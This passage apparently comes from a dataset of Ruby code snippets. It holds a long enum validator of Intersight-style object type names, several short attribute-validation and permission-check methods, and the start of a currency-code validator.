\"adapter.HostFcInterface\", \"adapter.HostIscsiInterface\", \"adapter.Unit\", \"adapter.UnitExpander\", \"appliance.AppStatus\", \"appliance.AutoRmaPolicy\", \"appliance.Backup\", \"appliance.BackupPolicy\", \"appliance.CertificateSetting\", \"appliance.DataExportPolicy\", \"appliance.DeviceCertificate\", \"appliance.DeviceClaim\", \"appliance.DeviceUpgradePolicy\", \"appliance.DiagSetting\", \"appliance.ExternalSyslogSetting\", \"appliance.FileGateway\", \"appliance.FileSystemStatus\", \"appliance.GroupStatus\", \"appliance.ImageBundle\", \"appliance.NodeInfo\", \"appliance.NodeStatus\", \"appliance.ReleaseNote\", \"appliance.RemoteFileImport\", \"appliance.Restore\", \"appliance.SetupInfo\", \"appliance.SystemInfo\", \"appliance.SystemStatus\", \"appliance.Upgrade\", \"appliance.UpgradePolicy\", \"asset.ClusterMember\", \"asset.Deployment\", \"asset.DeploymentDevice\", \"asset.DeviceClaim\", \"asset.DeviceConfiguration\", \"asset.DeviceConnectorManager\", \"asset.DeviceContractInformation\", \"asset.DeviceRegistration\", \"asset.Subscription\", \"asset.SubscriptionAccount\", \"asset.SubscriptionDeviceContractInformation\", \"asset.Target\", \"bios.BootDevice\", \"bios.BootMode\", \"bios.Policy\", \"bios.SystemBootOrder\", \"bios.TokenSettings\", \"bios.Unit\", \"bios.VfSelectMemoryRasConfiguration\", \"boot.CddDevice\", \"boot.DeviceBootMode\", \"boot.DeviceBootSecurity\", \"boot.HddDevice\", \"boot.IscsiDevice\", \"boot.NvmeDevice\", \"boot.PchStorageDevice\", \"boot.PrecisionPolicy\", \"boot.PxeDevice\", \"boot.SanDevice\", \"boot.SdDevice\", \"boot.UefiShellDevice\", \"boot.UsbDevice\", \"boot.VmediaDevice\", \"bulk.Export\", \"bulk.ExportedItem\", \"bulk.MoCloner\", \"bulk.MoMerger\", \"bulk.Request\", \"bulk.SubRequestObj\", \"capability.AdapterUnitDescriptor\", \"capability.Catalog\", \"capability.ChassisDescriptor\", \"capability.ChassisManufacturingDef\", \"capability.CimcFirmwareDescriptor\", \"capability.EquipmentPhysicalDef\", \"capability.EquipmentSlotArray\", \"capability.FanModuleDescriptor\", \"capability.FanModuleManufacturingDef\", \"capability.IoCardCapabilityDef\", \"capability.IoCardDescriptor\", \"capability.IoCardManufacturingDef\", \"capability.PortGroupAggregationDef\", \"capability.PsuDescriptor\", \"capability.PsuManufacturingDef\", \"capability.ServerSchemaDescriptor\", \"capability.SiocModuleCapabilityDef\", \"capability.SiocModuleDescriptor\", \"capability.SiocModuleManufacturingDef\", \"capability.SwitchCapability\", \"capability.SwitchDescriptor\", \"capability.SwitchManufacturingDef\", \"certificatemanagement.Policy\", \"chassis.ConfigChangeDetail\", \"chassis.ConfigImport\", \"chassis.ConfigResult\", \"chassis.ConfigResultEntry\", \"chassis.IomProfile\", \"chassis.Profile\", \"cloud.AwsBillingUnit\", \"cloud.AwsKeyPair\", \"cloud.AwsNetworkInterface\", \"cloud.AwsOrganizationalUnit\", \"cloud.AwsSecurityGroup\", \"cloud.AwsSubnet\", \"cloud.AwsVirtualMachine\", \"cloud.AwsVolume\", \"cloud.AwsVpc\", \"cloud.CollectInventory\", \"cloud.Regions\", \"cloud.SkuContainerType\", \"cloud.SkuDatabaseType\", \"cloud.SkuInstanceType\", \"cloud.SkuNetworkType\", \"cloud.SkuRegionRateCards\", \"cloud.SkuVolumeType\", \"cloud.TfcAgentpool\", \"cloud.TfcOrganization\", \"cloud.TfcWorkspace\", \"comm.HttpProxyPolicy\", \"compute.BiosPostPolicy\", \"compute.Blade\", \"compute.BladeIdentity\", \"compute.Board\", \"compute.Mapping\", \"compute.PhysicalSummary\", \"compute.RackUnit\", \"compute.RackUnitIdentity\", \"compute.ServerPowerPolicy\", \"compute.ServerSetting\", \"compute.Vmedia\", \"cond.Alarm\", \"cond.AlarmAggregation\", \"cond.HclStatus\", \"cond.HclStatusDetail\", \"cond.HclStatusJob\", \"connectorpack.ConnectorPackUpgrade\", \"connectorpack.UpgradeImpact\", \"convergedinfra.HealthCheckDefinition\", \"convergedinfra.HealthCheckExecution\", \"convergedinfra.Pod\", \"crd.CustomResource\", \"deviceconnector.Policy\", \"equipment.Chassis\", \"equipment.ChassisIdentity\", \"equipment.ChassisOperation\", \"equipment.DeviceSummary\", \"equipment.ExpanderModule\", \"equipment.Fan\", \"equipment.FanControl\", \"equipment.FanModule\", \"equipment.Fex\", \"equipment.FexIdentity\", \"equipment.FexOperation\", \"equipment.Fru\", \"equipment.IdentitySummary\", \"equipment.IoCard\", \"equipment.IoCardOperation\", \"equipment.IoExpander\", \"equipment.LocatorLed\", \"equipment.Psu\", \"equipment.PsuControl\", \"equipment.RackEnclosure\", \"equipment.RackEnclosureSlot\", \"equipment.SharedIoModule\", \"equipment.SwitchCard\", \"equipment.SystemIoController\", \"equipment.Tpm\", \"equipment.Transceiver\", \"ether.HostPort\", \"ether.NetworkPort\", \"ether.PhysicalPort\", \"ether.PortChannel\", \"externalsite.Authorization\", \"fabric.AppliancePcRole\", \"fabric.ApplianceRole\", \"fabric.ConfigChangeDetail\", \"fabric.ConfigResult\", \"fabric.ConfigResultEntry\", \"fabric.ElementIdentity\", \"fabric.EstimateImpact\", \"fabric.EthNetworkControlPolicy\", \"fabric.EthNetworkGroupPolicy\", \"fabric.EthNetworkPolicy\", \"fabric.FcNetworkPolicy\", \"fabric.FcUplinkPcRole\", \"fabric.FcUplinkRole\", \"fabric.FcoeUplinkPcRole\", \"fabric.FcoeUplinkRole\", \"fabric.FlowControlPolicy\", \"fabric.LinkAggregationPolicy\", \"fabric.LinkControlPolicy\", \"fabric.MulticastPolicy\", \"fabric.PcMember\", \"fabric.PcOperation\", \"fabric.PortMode\", \"fabric.PortOperation\", \"fabric.PortPolicy\", \"fabric.ServerRole\", \"fabric.SwitchClusterProfile\", \"fabric.SwitchControlPolicy\", \"fabric.SwitchProfile\", \"fabric.SystemQosPolicy\", \"fabric.UplinkPcRole\", \"fabric.UplinkRole\", \"fabric.Vlan\", \"fabric.Vsan\", \"fault.Instance\", \"fc.PhysicalPort\", \"fc.PortChannel\", \"fcpool.FcBlock\", \"fcpool.Lease\", \"fcpool.Pool\", \"fcpool.PoolMember\", \"fcpool.Universe\", \"feedback.FeedbackPost\", \"firmware.BiosDescriptor\", \"firmware.BoardControllerDescriptor\", \"firmware.ChassisUpgrade\", \"firmware.CimcDescriptor\", \"firmware.DimmDescriptor\", \"firmware.Distributable\", \"firmware.DistributableMeta\", \"firmware.DriveDescriptor\", \"firmware.DriverDistributable\", \"firmware.Eula\", \"firmware.FirmwareSummary\", \"firmware.GpuDescriptor\", \"firmware.HbaDescriptor\", \"firmware.IomDescriptor\", \"firmware.MswitchDescriptor\", \"firmware.NxosDescriptor\", \"firmware.PcieDescriptor\", \"firmware.PsuDescriptor\", \"firmware.RunningFirmware\", \"firmware.SasExpanderDescriptor\", \"firmware.ServerConfigurationUtilityDistributable\", \"firmware.StorageControllerDescriptor\", \"firmware.SwitchUpgrade\", \"firmware.UnsupportedVersionUpgrade\", \"firmware.Upgrade\", \"firmware.UpgradeImpact\", \"firmware.UpgradeImpactStatus\", \"firmware.UpgradeStatus\", \"forecast.Catalog\", \"forecast.Definition\", \"forecast.Instance\", \"graphics.Card\", \"graphics.Controller\", \"hcl.CompatibilityStatus\", \"hcl.DriverImage\", \"hcl.ExemptedCatalog\", \"hcl.HyperflexSoftwareCompatibilityInfo\", \"hcl.OperatingSystem\", \"hcl.OperatingSystemVendor\", \"hcl.SupportedDriverName\", \"hyperflex.Alarm\", \"hyperflex.AppCatalog\", \"hyperflex.AutoSupportPolicy\", \"hyperflex.BackupCluster\", \"hyperflex.CapabilityInfo\", \"hyperflex.CiscoHypervisorManager\", \"hyperflex.Cluster\", \"hyperflex.ClusterBackupPolicy\", \"hyperflex.ClusterBackupPolicyDeployment\", \"hyperflex.ClusterBackupPolicyInventory\", \"hyperflex.ClusterHealthCheckExecutionSnapshot\", \"hyperflex.ClusterNetworkPolicy\", \"hyperflex.ClusterProfile\", \"hyperflex.ClusterReplicationNetworkPolicy\", \"hyperflex.ClusterReplicationNetworkPolicyDeployment\", \"hyperflex.ClusterStoragePolicy\", \"hyperflex.ConfigResult\", \"hyperflex.ConfigResultEntry\", \"hyperflex.DataProtectionPeer\", \"hyperflex.DatastoreStatistic\", \"hyperflex.DevicePackageDownloadState\", \"hyperflex.Drive\", \"hyperflex.ExtFcStoragePolicy\", \"hyperflex.ExtIscsiStoragePolicy\", \"hyperflex.FeatureLimitExternal\", \"hyperflex.FeatureLimitInternal\", \"hyperflex.Health\", \"hyperflex.HealthCheckDefinition\", \"hyperflex.HealthCheckExecution\", \"hyperflex.HealthCheckExecutionSnapshot\", \"hyperflex.HealthCheckPackageChecksum\", \"hyperflex.HxapCluster\", \"hyperflex.HxapDatacenter\", \"hyperflex.HxapDvUplink\", \"hyperflex.HxapDvswitch\", \"hyperflex.HxapHost\", \"hyperflex.HxapHostInterface\", \"hyperflex.HxapHostVswitch\", \"hyperflex.HxapNetwork\", \"hyperflex.HxapVirtualDisk\", \"hyperflex.HxapVirtualMachine\", \"hyperflex.HxapVirtualMachineNetworkInterface\", \"hyperflex.HxdpVersion\", \"hyperflex.License\", \"hyperflex.LocalCredentialPolicy\", \"hyperflex.Node\", \"hyperflex.NodeConfigPolicy\", \"hyperflex.NodeProfile\", \"hyperflex.ProtectedCluster\", \"hyperflex.ProxySettingPolicy\", \"hyperflex.ServerFirmwareVersion\", \"hyperflex.ServerFirmwareVersionEntry\", \"hyperflex.ServerModel\", \"hyperflex.ServiceAuthToken\", \"hyperflex.SoftwareDistributionComponent\", \"hyperflex.SoftwareDistributionEntry\", \"hyperflex.SoftwareDistributionVersion\", \"hyperflex.SoftwareVersionPolicy\", \"hyperflex.StorageContainer\", \"hyperflex.SysConfigPolicy\", \"hyperflex.UcsmConfigPolicy\", \"hyperflex.VcenterConfigPolicy\", \"hyperflex.VmBackupInfo\", \"hyperflex.VmImportOperation\", \"hyperflex.VmRestoreOperation\", \"hyperflex.VmSnapshotInfo\", \"hyperflex.Volume\", \"hyperflex.WitnessConfiguration\", \"iaas.ConnectorPack\", \"iaas.DeviceStatus\", \"iaas.DiagnosticMessages\", \"iaas.LicenseInfo\", \"iaas.MostRunTasks\", \"iaas.ServiceRequest\", \"iaas.UcsdInfo\", \"iaas.UcsdManagedInfra\", \"iaas.UcsdMessages\", \"iam.Account\", \"iam.AccountExperience\", \"iam.ApiKey\", \"iam.AppRegistration\", \"iam.BannerMessage\", \"iam.Certificate\", \"iam.CertificateRequest\", \"iam.DomainGroup\", \"iam.EndPointPrivilege\", \"iam.EndPointRole\", \"iam.EndPointUser\", \"iam.EndPointUserPolicy\", \"iam.EndPointUserRole\", \"iam.Idp\", \"iam.IdpReference\", \"iam.IpAccessManagement\", \"iam.IpAddress\", \"iam.LdapGroup\", \"iam.LdapPolicy\", \"iam.LdapProvider\", \"iam.LocalUserPassword\", \"iam.LocalUserPasswordPolicy\", \"iam.OAuthToken\", \"iam.Permission\", \"iam.PrivateKeySpec\", \"iam.Privilege\", \"iam.PrivilegeSet\", \"iam.Qualifier\", \"iam.ResourceLimits\", \"iam.ResourcePermission\", \"iam.ResourceRoles\", \"iam.Role\", \"iam.SecurityHolder\", \"iam.ServiceProvider\", \"iam.Session\", \"iam.SessionLimits\", \"iam.System\", \"iam.TrustPoint\", \"iam.User\", \"iam.UserGroup\", \"iam.UserPreference\", \"inventory.DeviceInfo\", \"inventory.DnMoBinding\", \"inventory.GenericInventory\", \"inventory.GenericInventoryHolder\", \"inventory.Request\", \"ipmioverlan.Policy\", \"ippool.BlockLease\", \"ippool.IpLease\", \"ippool.Pool\", \"ippool.PoolMember\", \"ippool.ShadowBlock\", \"ippool.ShadowPool\", \"ippool.Universe\", \"iqnpool.Block\", \"iqnpool.Lease\", \"iqnpool.Pool\", \"iqnpool.PoolMember\", \"iqnpool.Universe\", \"iwotenant.TenantStatus\", \"kubernetes.AciCniApic\", \"kubernetes.AciCniProfile\", \"kubernetes.AciCniTenantClusterAllocation\", \"kubernetes.AddonDefinition\", \"kubernetes.AddonPolicy\", \"kubernetes.AddonRepository\", \"kubernetes.BaremetalNodeProfile\", \"kubernetes.Catalog\", \"kubernetes.Cluster\", \"kubernetes.ClusterAddonProfile\", \"kubernetes.ClusterProfile\", \"kubernetes.ConfigResult\", \"kubernetes.ConfigResultEntry\", \"kubernetes.ContainerRuntimePolicy\", \"kubernetes.DaemonSet\", \"kubernetes.Deployment\", \"kubernetes.Ingress\", \"kubernetes.NetworkPolicy\", \"kubernetes.Node\", \"kubernetes.NodeGroupProfile\", \"kubernetes.Pod\", \"kubernetes.Service\", \"kubernetes.StatefulSet\", \"kubernetes.SysConfigPolicy\", \"kubernetes.TrustedRegistriesPolicy\", \"kubernetes.Version\", \"kubernetes.VersionPolicy\", \"kubernetes.VirtualMachineInfraConfigPolicy\", \"kubernetes.VirtualMachineInfrastructureProvider\", \"kubernetes.VirtualMachineInstanceType\", \"kubernetes.VirtualMachineNodeProfile\", \"kvm.Policy\", \"kvm.Session\", \"kvm.Tunnel\", \"license.AccountLicenseData\", \"license.CustomerOp\", \"license.IwoCustomerOp\", \"license.IwoLicenseCount\", \"license.LicenseInfo\", \"license.LicenseReservationOp\", \"license.SmartlicenseToken\", \"ls.ServiceProfile\", \"macpool.IdBlock\", \"macpool.Lease\", \"macpool.Pool\", \"macpool.PoolMember\", \"macpool.Universe\", \"management.Controller\", \"management.Entity\", \"management.Interface\", \"memory.Array\", \"memory.PersistentMemoryConfigResult\", \"memory.PersistentMemoryConfiguration\", \"memory.PersistentMemoryNamespace\", \"memory.PersistentMemoryNamespaceConfigResult\", \"memory.PersistentMemoryPolicy\", \"memory.PersistentMemoryRegion\", \"memory.PersistentMemoryUnit\", \"memory.Unit\", \"meta.Definition\", \"network.Element\", \"network.ElementSummary\", \"network.FcZoneInfo\", \"network.VlanPortInfo\", \"networkconfig.Policy\", \"niaapi.ApicCcoPost\", \"niaapi.ApicFieldNotice\", \"niaapi.ApicHweol\", \"niaapi.ApicLatestMaintainedRelease\", \"niaapi.ApicReleaseRecommend\", \"niaapi.ApicSweol\", \"niaapi.DcnmCcoPost\", \"niaapi.DcnmFieldNotice\", \"niaapi.DcnmHweol\", \"niaapi.DcnmLatestMaintainedRelease\", \"niaapi.DcnmReleaseRecommend\", \"niaapi.DcnmSweol\", \"niaapi.FileDownloader\", \"niaapi.NiaMetadata\", \"niaapi.NibFileDownloader\", \"niaapi.NibMetadata\", \"niaapi.VersionRegex\", \"niatelemetry.AaaLdapProviderDetails\", \"niatelemetry.AaaRadiusProviderDetails\", \"niatelemetry.AaaTacacsProviderDetails\", \"niatelemetry.ApicAppPluginDetails\", \"niatelemetry.ApicCoreFileDetails\", \"niatelemetry.ApicDbgexpRsExportDest\", \"niatelemetry.ApicDbgexpRsTsScheduler\", \"niatelemetry.ApicFanDetails\", \"niatelemetry.ApicFexDetails\", \"niatelemetry.ApicFlashDetails\", \"niatelemetry.ApicNtpAuth\", \"niatelemetry.ApicPsuDetails\", \"niatelemetry.ApicRealmDetails\", \"niatelemetry.ApicSnmpClientGrpDetails\", \"niatelemetry.ApicSnmpCommunityAccessDetails\", \"niatelemetry.ApicSnmpCommunityDetails\", \"niatelemetry.ApicSnmpTrapDetails\", \"niatelemetry.ApicSnmpTrapFwdServerDetails\", \"niatelemetry.ApicSnmpVersionThreeDetails\", \"niatelemetry.ApicSysLogGrp\", \"niatelemetry.ApicSysLogSrc\", \"niatelemetry.ApicTransceiverDetails\", \"niatelemetry.ApicUiPageCounts\", \"niatelemetry.AppDetails\", \"niatelemetry.CommonPolicies\", \"niatelemetry.DcnmFanDetails\", \"niatelemetry.DcnmFexDetails\", \"niatelemetry.DcnmModuleDetails\", \"niatelemetry.DcnmPsuDetails\", \"niatelemetry.DcnmTransceiverDetails\", \"niatelemetry.Epg\", \"niatelemetry.FabricModuleDetails\", \"niatelemetry.FabricPodProfile\", \"niatelemetry.FabricPodSs\", \"niatelemetry.Fault\", \"niatelemetry.HttpsAclContractDetails\", \"niatelemetry.HttpsAclContractFilterMap\", \"niatelemetry.HttpsAclEpgContractMap\", \"niatelemetry.HttpsAclEpgDetails\", \"niatelemetry.HttpsAclFilterDetails\", \"niatelemetry.Lc\", \"niatelemetry.MsoContractDetails\", \"niatelemetry.MsoEpgDetails\", \"niatelemetry.MsoSchemaDetails\", \"niatelemetry.MsoSiteDetails\", \"niatelemetry.MsoTenantDetails\", \"niatelemetry.NexusDashboardControllerDetails\", \"niatelemetry.NexusDashboardDetails\", \"niatelemetry.NexusDashboardMemoryDetails\", \"niatelemetry.NexusDashboards\", \"niatelemetry.NiaFeatureUsage\", \"niatelemetry.NiaInventory\", \"niatelemetry.NiaInventoryDcnm\", \"niatelemetry.NiaInventoryFabric\", \"niatelemetry.NiaLicenseState\", \"niatelemetry.PasswordStrengthCheck\", \"niatelemetry.PodCommPolicies\", \"niatelemetry.PodSnmpPolicies\", \"niatelemetry.PodTimeServerPolicies\", \"niatelemetry.SiteInventory\", \"niatelemetry.SnmpSrc\", \"niatelemetry.SshVersionTwo\", \"niatelemetry.SupervisorModuleDetails\", \"niatelemetry.SyslogRemoteDest\", \"niatelemetry.SyslogSysMsg\", \"niatelemetry.SyslogSysMsgFacFilter\", \"niatelemetry.SystemControllerDetails\", \"niatelemetry.Tenant\", \"notification.AccountSubscription\", \"ntp.Policy\", \"oprs.Deployment\", \"oprs.SyncTargetListMessage\", \"organization.Organization\", \"os.BulkInstallInfo\", \"os.Catalog\", \"os.ConfigurationFile\", \"os.Distribution\", \"os.Install\", \"os.OsSupport\", \"os.SupportedVersion\", \"os.TemplateFile\", \"os.ValidInstallTarget\", \"pci.CoprocessorCard\", \"pci.Device\", \"pci.Link\", \"pci.Switch\", \"port.Group\", \"port.MacBinding\", \"port.SubGroup\", \"power.ControlState\", \"power.Policy\", \"processor.Unit\", \"rack.UnitPersonality\", \"recommendation.CapacityRunway\", \"recommendation.PhysicalItem\", \"recovery.BackupConfigPolicy\", \"recovery.BackupProfile\", \"recovery.ConfigResult\", \"recovery.ConfigResultEntry\", \"recovery.OnDemandBackup\", \"recovery.Restore\", \"recovery.ScheduleConfigPolicy\", \"resource.Group\", \"resource.GroupMember\", \"resource.LicenseResourceCount\", \"resource.Membership\", \"resource.MembershipHolder\", \"resource.Reservation\", \"resourcepool.Lease\", \"resourcepool.LeaseResource\", \"resourcepool.Pool\", \"resourcepool.PoolMember\", \"resourcepool.Universe\", \"rproxy.ReverseProxy\", \"sdcard.Policy\", \"sdwan.Profile\", \"sdwan.RouterNode\", \"sdwan.RouterPolicy\", \"sdwan.VmanageAccountPolicy\", \"search.SearchItem\", \"search.TagItem\", \"security.Unit\", \"server.ConfigChangeDetail\", \"server.ConfigImport\", \"server.ConfigResult\", \"server.ConfigResultEntry\", \"server.Profile\", \"server.ProfileTemplate\", \"smtp.Policy\", \"snmp.Policy\", \"software.ApplianceDistributable\", \"software.DownloadHistory\", \"software.HclMeta\", \"software.HyperflexBundleDistributable\", \"software.HyperflexDistributable\", \"software.ReleaseMeta\", \"software.SolutionDistributable\", \"software.UcsdBundleDistributable\", \"software.UcsdDistributable\", \"softwarerepository.Authorization\", \"softwarerepository.CachedImage\", \"softwarerepository.Catalog\", \"softwarerepository.CategoryMapper\", \"softwarerepository.CategoryMapperModel\", \"softwarerepository.CategorySupportConstraint\", \"softwarerepository.DownloadSpec\", \"softwarerepository.OperatingSystemFile\", \"softwarerepository.Release\", \"sol.Policy\", \"ssh.Policy\", \"storage.Controller\", \"storage.DiskGroup\", \"storage.DiskSlot\", \"storage.DriveGroup\", \"storage.Enclosure\", \"storage.EnclosureDisk\", \"storage.EnclosureDiskSlotEp\", \"storage.FlexFlashController\", \"storage.FlexFlashControllerProps\", \"storage.FlexFlashPhysicalDrive\", \"storage.FlexFlashVirtualDrive\", \"storage.FlexUtilController\", \"storage.FlexUtilPhysicalDrive\", \"storage.FlexUtilVirtualDrive\", \"storage.HitachiArray\", \"storage.HitachiController\", \"storage.HitachiDisk\", \"storage.HitachiHost\", \"storage.HitachiHostLun\", \"storage.HitachiParityGroup\", \"storage.HitachiPool\", \"storage.HitachiPort\", \"storage.HitachiVolume\", \"storage.HyperFlexStorageContainer\", \"storage.HyperFlexVolume\", \"storage.Item\", \"storage.NetAppAggregate\", \"storage.NetAppBaseDisk\", \"storage.NetAppCluster\", \"storage.NetAppEthernetPort\", \"storage.NetAppExportPolicy\", \"storage.NetAppFcInterface\", \"storage.NetAppFcPort\", \"storage.NetAppInitiatorGroup\", \"storage.NetAppIpInterface\", \"storage.NetAppLicense\", \"storage.NetAppLun\", \"storage.NetAppLunMap\", \"storage.NetAppNode\", \"storage.NetAppNtpServer\", \"storage.NetAppSensor\", \"storage.NetAppStorageVm\", \"storage.NetAppVolume\", \"storage.NetAppVolumeSnapshot\", \"storage.PhysicalDisk\", \"storage.PhysicalDiskExtension\", \"storage.PhysicalDiskUsage\", \"storage.PureArray\", \"storage.PureController\", \"storage.PureDisk\", \"storage.PureHost\", \"storage.PureHostGroup\", \"storage.PureHostLun\", \"storage.PurePort\", \"storage.PureProtectionGroup\", \"storage.PureProtectionGroupSnapshot\", \"storage.PureReplicationSchedule\", \"storage.PureSnapshotSchedule\", \"storage.PureVolume\", \"storage.PureVolumeSnapshot\", \"storage.SasExpander\", \"storage.SasPort\", \"storage.Span\", \"storage.StoragePolicy\", \"storage.VdMemberEp\", \"storage.VirtualDrive\", \"storage.VirtualDriveContainer\", \"storage.VirtualDriveExtension\", \"storage.VirtualDriveIdentity\", \"syslog.Policy\", \"tam.AdvisoryCount\", \"tam.AdvisoryDefinition\", \"tam.AdvisoryInfo\", \"tam.AdvisoryInstance\", \"tam.SecurityAdvisory\", \"task.HitachiScopedInventory\", \"task.HxapScopedInventory\", \"task.NetAppScopedInventory\", \"task.PublicCloudScopedInventory\", \"task.PureScopedInventory\", \"task.ServerScopedInventory\", \"techsupportmanagement.CollectionControlPolicy\", \"techsupportmanagement.Download\", \"techsupportmanagement.TechSupportBundle\", \"techsupportmanagement.TechSupportStatus\", \"terminal.AuditLog\", \"terraform.Executor\", \"thermal.Policy\", \"top.System\", \"ucsd.BackupInfo\", \"uuidpool.Block\", \"uuidpool.Pool\", \"uuidpool.PoolMember\", \"uuidpool.Universe\", \"uuidpool.UuidLease\", \"virtualization.Host\", \"virtualization.VirtualDisk\", \"virtualization.VirtualMachine\", \"virtualization.VirtualNetwork\", \"virtualization.VmwareCluster\", \"virtualization.VmwareDatacenter\", \"virtualization.VmwareDatastore\", \"virtualization.VmwareDatastoreCluster\", \"virtualization.VmwareDistributedNetwork\", \"virtualization.VmwareDistributedSwitch\", \"virtualization.VmwareFolder\", \"virtualization.VmwareHost\", \"virtualization.VmwareKernelNetwork\", \"virtualization.VmwareNetwork\", \"virtualization.VmwarePhysicalNetworkInterface\", \"virtualization.VmwareUplinkPort\", \"virtualization.VmwareVcenter\", \"virtualization.VmwareVirtualDisk\", \"virtualization.VmwareVirtualMachine\", \"virtualization.VmwareVirtualMachineSnapshot\", \"virtualization.VmwareVirtualNetworkInterface\", \"virtualization.VmwareVirtualSwitch\", \"vmedia.Policy\", \"vmrc.Console\", \"vnc.Console\", \"vnic.EthAdapterPolicy\", \"vnic.EthIf\", \"vnic.EthNetworkPolicy\", \"vnic.EthQosPolicy\", \"vnic.FcAdapterPolicy\", \"vnic.FcIf\", \"vnic.FcNetworkPolicy\", \"vnic.FcQosPolicy\", \"vnic.IscsiAdapterPolicy\", \"vnic.IscsiBootPolicy\", \"vnic.IscsiStaticTargetPolicy\", \"vnic.LanConnectivityPolicy\", \"vnic.LcpStatus\", \"vnic.SanConnectivityPolicy\", \"vnic.ScpStatus\", \"vrf.Vrf\", \"workflow.BatchApiExecutor\", \"workflow.BuildTaskMeta\", \"workflow.BuildTaskMetaOwner\", \"workflow.Catalog\", \"workflow.CustomDataTypeDefinition\", \"workflow.ErrorResponseHandler\", \"workflow.PendingDynamicWorkflowInfo\", \"workflow.RollbackWorkflow\", \"workflow.SolutionActionDefinition\", \"workflow.SolutionActionInstance\", \"workflow.SolutionDefinition\", \"workflow.SolutionInstance\", \"workflow.SolutionOutput\", \"workflow.TaskDebugLog\", \"workflow.TaskDefinition\", \"workflow.TaskInfo\", \"workflow.TaskMetadata\", \"workflow.TaskNotification\", \"workflow.TemplateEvaluation\", \"workflow.TemplateFunctionMeta\", \"workflow.WorkflowDefinition\", \"workflow.WorkflowInfo\", \"workflow.WorkflowMeta\", \"workflow.WorkflowMetadata\", \"workflow.WorkflowNotification\"])\n return false unless object_type_validator.valid?(@object_type)\n true\n end",
"def allowed_values(value, pdef)\n if(pdef['AllowedValues'].include?(value))\n true\n else\n \"Not an allowed value: #{pdef['AllowedValues'].join(', ')}\"\n end\n end",
"def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"def status_enum=(status)\n write_attribute(:status, status)\n end",
"def setting_attribute_is_allowed?(name, user)\n return false unless user.can_write?(self, name)\n (self.whitelisted_attributes && self.whitelisted_attributes.has_key?( name.to_sym)) ||\n (\n self.attribute_names.include?( name.to_s ) &&\n ( self.blacklisted_attributes.nil? ||\n ! self.blacklisted_attributes.has_key?( name.to_sym ) )\n )\n end",
"def valid?\n return false if !super\n status_validator = EnumAttributeValidator.new('String', ['NotDefined', 'Active', 'Resolved', 'Closed'])\n return false unless status_validator.valid?(@status)\n true\n end",
"def valid?\n MANDATORY_ATTRIBUTES[type].each{|a| return false unless self[a]}\n true\n end",
"def valid?\n return false if !super\n return false if @style.nil?\n style_validator = EnumAttributeValidator.new('String', ['Unknown', 'Percent05', 'Percent10', 'Percent20', 'Percent25', 'Percent30', 'Percent40', 'Percent50', 'Percent60', 'Percent70', 'Percent75', 'Percent80', 'Percent90', 'DarkHorizontal', 'DarkVertical', 'DarkDownwardDiagonal', 'DarkUpwardDiagonal', 'SmallCheckerBoard', 'Trellis', 'LightHorizontal', 'LightVertical', 'LightDownwardDiagonal', 'LightUpwardDiagonal', 'SmallGrid', 'DottedDiamond', 'WideDownwardDiagonal', 'WideUpwardDiagonal', 'DashedUpwardDiagonal', 'DashedDownwardDiagonal', 'NarrowVertical', 'NarrowHorizontal', 'DashedVertical', 'DashedHorizontal', 'LargeConfetti', 'LargeGrid', 'HorizontalBrick', 'LargeCheckerBoard', 'SmallConfetti', 'Zigzag', 'SolidDiamond', 'DiagonalBrick', 'OutlinedDiamond', 'Plaid', 'Sphere', 'Weave', 'DottedGrid', 'Divot', 'Shingle', 'Wave', 'Horizontal', 'Vertical', 'Cross', 'DownwardDiagonal', 'UpwardDiagonal', 'DiagonalCross', 'NotDefined'])\n return false unless style_validator.valid?(@style)\n true\n end",
"def enum?(field)\n !!self.enums[field.to_sym]\n end",
"def currency=(currency)\n validator = EnumAttributeValidator.new('String', [\"UNKNOWN_CURRENCY\", \"AED\", \"AFN\", \"ALL\", \"AMD\", \"ANG\", \"AOA\", \"ARS\", \"AUD\", \"AWG\", \"AZN\", \"BAM\", \"BBD\", \"BDT\", \"BGN\", \"BHD\", \"BIF\", \"BMD\", \"BND\", \"BOB\", \"BOV\", \"BRL\", \"BSD\", \"BTN\", \"BWP\", \"BYR\", \"BZD\", \"CAD\", \"CDF\", \"CHE\", \"CHF\", \"CHW\", \"CLF\", \"CLP\", \"CNY\", \"COP\", \"COU\", \"CRC\", \"CUC\", \"CUP\", \"CVE\", \"CZK\", \"DJF\", \"DKK\", \"DOP\", \"DZD\", \"EGP\", \"ERN\", \"ETB\", \"EUR\", \"FJD\", \"FKP\", \"GBP\", \"GEL\", \"GHS\", \"GIP\", \"GMD\", \"GNF\", \"GTQ\", \"GYD\", \"HKD\", \"HNL\", \"HRK\", \"HTG\", \"HUF\", \"IDR\", \"ILS\", \"INR\", \"IQD\", \"IRR\", \"ISK\", \"JMD\", \"JOD\", \"JPY\", \"KES\", \"KGS\", \"KHR\", \"KMF\", \"KPW\", \"KRW\", \"KWD\", \"KYD\", \"KZT\", \"LAK\", \"LBP\", \"LKR\", \"LRD\", \"LSL\", \"LTL\", \"LVL\", \"LYD\", \"MAD\", \"MDL\", \"MGA\", \"MKD\", \"MMK\", \"MNT\", \"MOP\", \"MRO\", \"MUR\", \"MVR\", \"MWK\", \"MXN\", \"MXV\", \"MYR\", \"MZN\", \"NAD\", \"NGN\", \"NIO\", \"NOK\", \"NPR\", \"NZD\", \"OMR\", \"PAB\", \"PEN\", \"PGK\", \"PHP\", \"PKR\", \"PLN\", \"PYG\", \"QAR\", \"RON\", \"RSD\", \"RUB\", \"RWF\", \"SAR\", \"SBD\", \"SCR\", \"SDG\", \"SEK\", \"SGD\", \"SHP\", \"SLL\", \"SOS\", \"SRD\", \"SSP\", \"STD\", \"SVC\", \"SYP\", \"SZL\", \"THB\", \"TJS\", \"TMT\", \"TND\", \"TOP\", \"TRY\", \"TTD\", \"TWD\", \"TZS\", \"UAH\", \"UGX\", \"USD\", \"USN\", \"USS\", \"UYI\", \"UYU\", \"UZS\", \"VEF\", \"VND\", \"VUV\", \"WST\", \"XAF\", \"XAG\", \"XAU\", \"XBA\", \"XBB\", \"XBC\", \"XBD\", \"XCD\", \"XDR\", \"XOF\", \"XPD\", \"XPF\", \"XPT\", \"XTS\", \"XXX\", \"YER\", 